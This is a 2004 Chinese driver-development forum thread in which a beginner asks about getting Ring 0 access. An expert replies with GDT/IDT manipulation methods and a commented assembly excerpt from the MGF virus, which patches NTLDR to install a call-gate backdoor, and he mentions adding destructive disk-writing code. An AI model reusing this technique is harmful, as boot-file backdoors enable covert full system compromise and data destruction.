classfree
驱动小牛
驱动小牛
  • 注册日期2004-05-23
  • 最后登录2019-01-06
  • 粉丝1
  • 关注1
  • 积分873分
  • 威望276点
  • 贡献值0点
  • 好评度85点
  • 原创分0分
  • 专家分0分
  • 社区居民
阅读:1201回复:4

新手报道,问个初级问题!

楼主#
更多 发布于:2004-05-23 09:57
你好,我今天无意中来到这个陌生的地方, 但是看这里人气还可以,而且有我需要的东西. 特来报道!

我会点VC, BC
问题:
    能用BC 或者 VC编写驱动吗? 不管是WDM还是VXD ?

我想在NT 和 WIN9X 下面直接操作硬盘,但是不能进入RING0级
所以来学习如何编写驱动~
请大家帮帮我~
低调点!
snowStart
驱动老牛
驱动老牛
  • 注册日期2004-04-06
  • 最后登录2011-06-02
  • 粉丝0
  • 关注0
  • 积分95分
  • 威望19点
  • 贡献值177点
  • 好评度1点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2004-05-23 22:45
当然可以了,驱动就是做这些应用程序做不了的事情的
学习,关注,交流中... [email=fengyu@163.com]Email:snowstarth@163.com[/email] [url]http://bbs.zndev.com/?a=snowStart[/url]
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
板凳#
发布于:2004-05-24 09:15
9X和2K/XP下直接进入RING0的方法,我介绍过很多了,你可以参考下。
9X下由于GDT,LDT,IDT的开放性,所以可以随意通过门来进RING0
2K/XP下需要在ADM下通过PHYSICAL MEMORY来修改GDT,IDT进RING0
或参考MGF病毒的方法,直接修改NTLDR中的GDT表格,使系统启动后自动帮你生成CALLGATE,而可以在任何权限下,直接杀入RING0,嘿嘿。。。。。。
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
地板#
发布于:2004-05-24 09:20
简单说下MGF病毒所采用的方法,嘿嘿。。。。。。
简单介绍他的RING0方法
;0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh
;对应于GDT中的
;0ffffh,0000,9b00h,00cfh,0ffffh,0000,9300h,00cfh
;也是RING0的CS,DS只不过在NTLDR中没有设置访问位

;.else;_dwFlag             ;如果是NTLDR文件,写入CALLGATE
;这里MGF利用;_dwFlag 使_EditFile做很多事
;dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file;bit 2:0=auto(ansi/unicode), 1=ansi
;所以这里0就是改NTLDR
;lea esi,szGdtData[ebx]
;mov edi,@lpFileMap
;mov ecx,@dwFileSize
;@@:
;inc edi
;push esi
;push edi
;push ecx
;mov ecx,10h
;repz cmpsb
;pop ecx
;pop edi
;pop esi
;loopnz @b
;在NTLDR中以16个字节为单位搜索RING0,CS,DS找到后EDI指向该数据的最后一个字节

;.if ZERO?
;xor eax,eax
;mov ecx,80h
;@@:
;sub edi,8
;push edi
;push ecx
;mov ecx,8
;repz scasb
;pop ecx
;pop edi
;loopnz @b
;在向前的80H的范围内搜索NULL SELECTOR(8个0),其实没有必要,因为找到的SZGDTDATA前面就是了,所以最后EDI就指向NULL SELECTOR
.;if ZERO?
;add edi,100h
;lea esi,szCallGate[ebx]
;mov ecx,10h
;rep movsb

;mov edx,dwC3Address[ebx]
;mov word ptr [edi-16],dx
;shr edx,16
;mov word ptr [edi-10],dx
;在偏移100H处写入CALLGATE和自己的RING0,CS,这里有必要用自己RING0 CS,因为如果用系统的8,SELECTOR虽然也可以,但在直接IO的时候有可能会出现0XE的页故障,也就是说如果加入破坏代码直接读写硬盘扇区,可能会出错,而用自己的RING0,CS,就可以避免出错,对此我也测试过,嘿嘿。。。。。。
add edi,100h,所以在2K/XP中的后门是103H,而在98下是最后一个DESCIPTOR,而且注意dwC3Address是KERNEL32中的指令RET的地址,因为一般KERNEL32总是加载的,很巧妙,我以前是直接把RET指令放到NULL SECLECTOR中,然后CALLGATE指向GDT BASE,因该他这样比我要好,所有的玄妙,只有你用SOFTICE调试才能体会啊,确实值得学习啊。。。。。。。
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
chinalei
驱动小牛
驱动小牛
  • 注册日期2003-05-07
  • 最后登录2008-11-20
  • 粉丝0
  • 关注0
  • 积分18分
  • 威望6点
  • 贡献值0点
  • 好评度5点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2004-05-24 19:38
嘿嘿,够黑的!
生活咋能这样呢!
游客

返回顶部